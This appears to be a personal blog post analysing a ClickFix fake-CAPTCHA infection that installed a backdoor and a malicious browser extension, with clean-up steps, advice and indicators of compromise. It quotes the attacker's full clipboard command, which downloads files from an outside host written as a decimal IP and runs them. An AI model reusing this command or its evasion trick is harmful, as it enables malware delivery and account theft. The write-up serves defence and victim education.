How a “verify you are human” page installed a hidden browser extension and a backdoor, why my antivirus never noticed, and what I had to do to clean up.
I have worked around computers for years. I know not to open strange attachments. I know what phishing looks like. And on a Wednesday afternoon in November, I still pressed three keys that a web page told me to press, and handed my browser to a stranger for five days.
This is what happened, step by step, what the malware could do, how I found and removed it, and what I would tell anyone who wants to avoid the same mistake. All personal details, account names and profile names have been removed.
The two minutes that started it
I was on a music download site, the kind that is covered in ads. I clicked something, and in less than a second the browser bounced through three different websites I had never heard of. The last one showed a familiar-looking box: a CAPTCHA asking me to prove I was human.
Except this one did not want me to click pictures of traffic lights. It said:
- Press Windows + R
- Press Ctrl + V
- Press Enter
It looked like an odd but official verification step, so I did it. A black window flashed and closed. The page did nothing obvious. About a minute later something felt wrong, and I searched for the text that had been pasted.
That attack has a name: ClickFix. It is now one of the most common ways ordinary people get infected, because it needs no software bug at all. The victim runs the attacker’s command themselves.
What I actually pasted
While I was reading the “CAPTCHA”, the page had silently copied this to my clipboard:
set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\gdangle.txt 1570298942/454&& curl.exe -sLo %tmp%\Z696.ps1 1570298942/455&& for /f "delims=" %i in (gdangle.txt) do %i
Broken down:
| Part | What it does |
|---|---|
set "__VSCMD_WIN_64BIT=true" |
Pure decoration. It makes the line look like a developer tool command. |
cd %tmp% |
Moves to the Temp folder, where any user can write files. |
curl.exe -sLo ... 1570298942/454 |
Silently downloads a file from the attacker’s server. |
curl.exe -sLo ... 1570298942/455 |
Downloads a second file, a PowerShell script. |
for /f ... do %i |
Runs every line of the first file as a command. This is the real launcher. |
The strange number 1570298942 is an IP address written as one decimal number. It is the same as 93.152.220.62. Writing it this way slips past simple filters and does not look like a web address to a human.
curl.exe comes built into Windows 11, so the attacker did not even need to bring a download tool.
What it installed in the next two minutes
I only understood this later, by reading file creation times, registry timestamps and the Windows event log. Within about 120 seconds of pressing Enter, the malware had done three things.
1. A hidden backdoor that the browser could call
It created a folder with a random name inside my user’s AppData\Local folder and dropped a PowerShell script there. It then registered that script as a native messaging host for Chrome and Edge.
Native messaging is a legitimate feature. It lets a browser extension talk to a program on your computer, for example a password manager’s desktop app. Here it was abused so that a malicious extension could ask the script to:
- list every drive, including USB and network drives;
- read any file under 50 MB, or zip and send whole folders;
- create or overwrite any file;
- start any program;
- run any command and return the output;
- replace the extension’s own code with a new version.
In short: whatever the extension asked for, the script would do with my full user rights, quietly, whenever the browser was open.
2. A fake “Save to Google Drive” extension
Next it unpacked around sixty obfuscated JavaScript files into another random folder. The extension called itself “Save to Google Drive”, copying the name of Google’s real extension so it would not stand out in a list.
It asked for almost every permission a browser extension can have: access to all websites, cookies, history, tabs, clipboard, downloads, network requests, and the native messaging link to the backdoor.
Reading through the code, I could identify modules that:
- registered my PC with the attacker’s server and waited for tasks;
- turned my browser into a residential proxy, so other people’s traffic could be routed through my internet connection;
- injected code into chosen websites, a technique typically used on banking, email and crypto sites to capture logins and one-time codes;
- took screenshots of specific pages;
- searched pages, forms and the clipboard for crypto wallet seed phrases;
- watched for security and analysis tools;
- removed the security headers (
Content-Security-PolicyandX-Frame-Options) from every website, so injected code and hidden frames would work anywhere.
3. Forced into every browser profile
This was the part that shocked me most. Chrome and Edge protect their settings files with integrity hashes, so a random program cannot simply add an extension. The malware computed those hashes correctly and inserted itself into every Chrome and Edge profile on the PC: about twenty of them, including work accounts, profiles used by family members, and even the hidden Edge component Windows uses for Microsoft account sign-in.
It also switched on developer mode in every profile, because that is what lets an unsigned extension load from a folder instead of the Chrome Web Store.
Five days of silence
From that moment until I cleaned it up five days later, the extension loaded every time a browser opened. Its storage folder was updated daily. Halfway through, it even refreshed its network rules, a sign it was still receiving instructions.
Windows Defender never flagged a single file. No pop-up, no warning. A PowerShell process crashed four times in the event log during the install, but nobody reads the event log on a home PC.
Everything ran as a normal user. The malware never asked for administrator rights and never needed them.
How I found and removed it
When I finally sat down to investigate, I used only built-in Windows tools.
- Decoded the command. That told me the attack family and the server address.
- Searched for files created in the exact minutes of the attack. This immediately revealed the random-named folders, an encrypted 1.5 MB file, and two “PNG” files that were really just 64-character ID strings.
- Read the backdoor script and the extension code to see exactly what they could do.
- Checked registry timestamps to confirm when the native messaging entries were created.
- Searched every browser settings file for the extension’s ID. It was in all of them.
- Rebuilt the redirect chain from browser history and the clipboard from my clipboard manager’s history.
- Checked every place Windows malware usually hides so it can restart: scheduled tasks, services, Run keys, startup folders, Winlogon, WMI subscriptions and more. Apart from the native messaging entries, there was nothing.
- Confirmed the attacker’s server was offline, so the same command could not reinfect the PC.
Then the clean-up:
- Closed every Chrome, Edge and WebView2 process.
- Zipped all the malware files with a non-executable extension, as evidence.
- Deleted the backdoor folder, the extension folder, the encrypted blob, the fake PNGs and the registry entries.
- Edited every browser settings file to remove the extension, its integrity hashes and its toolbar pin, and switched developer mode back off. I kept a backup of every file before editing it.
- Re-ran the persistence checks with administrator rights.
- Ran a final scan of all 158 browser settings files: zero references to the extension, zero profiles in developer mode.
A Defender scan afterwards came back clean, but since Defender never saw the malware in the first place, the manual checks were the real proof.
The part that doesn’t get cleaned up
Removing the files took an afternoon. The hard part is that the PC was never the real target. The accounts were.
For five days an extension could read every page, every form and every cookie in every profile. A stolen session cookie lets an attacker use an account without the password and often without the second factor. Changing a password does not always end those sessions.
So the real recovery list looked like this:
- Every Google account in every profile: change password, sign out all devices, remove unknown third-party apps, and check Gmail for filters and forwarding rules I did not create.
- Microsoft 365: change password, sign out everywhere, review sign-in logs, check for new app registrations, forwarding rules, users and role changes.
- Every work tool with admin access (hosting, code repositories, chat, cloud consoles): change passwords, end all sessions, and rotate API keys and tokens.
- Secrets stored on disk: SSH keys, cloud CLI logins, developer tool tokens and
.envfiles. These work without a browser and do not expire when you change a password, so each one has to be revoked and re-issued. - Saved browser passwords: run Password Checkup and change them, starting with email and banking.
- Family members who used the PC: change their passwords and sign out all devices.
- Crypto: any wallet whose seed phrase was ever typed or displayed in that browser should be treated as lost, and the funds moved to a new wallet.
And for weeks afterwards: watch for password-reset emails I did not request, logins from strange places, and unusually convincing phishing that uses real details.
What I would tell anyone
No real website will ever ask you to paste something into Run, Command Prompt, PowerShell or Terminal. Not a CAPTCHA, not a “browser fix”, not a “missing font” message. If a page asks you to press Windows + R, close the tab.
A few other lessons that cost me a lot to learn:
- Ad-heavy download and streaming sites are the main delivery channel. An ad blocker removes most of the risk.
- Separate your browsing. Do not use the same Windows account, or even the same browser, for casual browsing and for work or banking. One click in one profile reached every profile on the machine.
- Antivirus is not enough. It had no signature for this malware. Habits caught it, not software.
- Check your extensions now and then. Open
chrome://extensionsoredge://extensions. If developer mode is on and you did not turn it on, or you see an extension you don’t remember installing, investigate. - Use an authenticator app or hardware key, not SMS, wherever you can.
- If it happens, act within minutes, not days. Disconnect from the internet, close the browser, and change your most important passwords from a different device.
Indicators of compromise
For anyone investigating a similar infection:
| Type | Value |
|---|---|
| IP address | 93.152.220.62 (written as 1570298942) |
| Domains | zzz.disruptivetechdev.buzz, disruptivetechdev.buzz, werefilledwit.org |
| Extension ID | apliinfcmnlghogfngfgmjfdmajjnjpj (“Save to Google Drive” 4.0.6, unpacked) |
| Native host name | com.mxokkyqjfxtd |
| Folders | %LOCALAPPDATA%\K4ooC2Qua, %LOCALAPPDATA%\KjALczorcXsnQbk, %LOCALAPPDATA%\RkV8nWLGHuTm3 |
| Files | host.bat, host.ps1, com.mxokkyqjfxtd.json, ifwf.e4, 4UUZEw.png, jaw9Bytr4W.png, %TEMP%\gdangle.txt, %TEMP%\Z696.ps1 |
| Registry | HKCU\Software\Google\Chrome\NativeMessagingHosts\com.mxokkyqjfxtd and the Edge equivalent |
SHA-256 hashes:
host.ps1 28A5E073515B9E75E1EE045716263EC24820D087602343B71BD152A482D80B12
host.bat 917D4590DB366B0F779B996869F8C9C5D9C80898DF0132C2BE1FE848C02AA579
ifwf.e4 6BF77F1C5220184133DE3BC449467C58221353204B3BCD9BC98AFEC61E541896
Three keys, two minutes, five days. If this saves one person from pressing Windows + R on a “CAPTCHA”, writing it up was worth it.
Want the technical details? Read the full analysis on KeyXplore: Anatomy of a ClickFix Attack.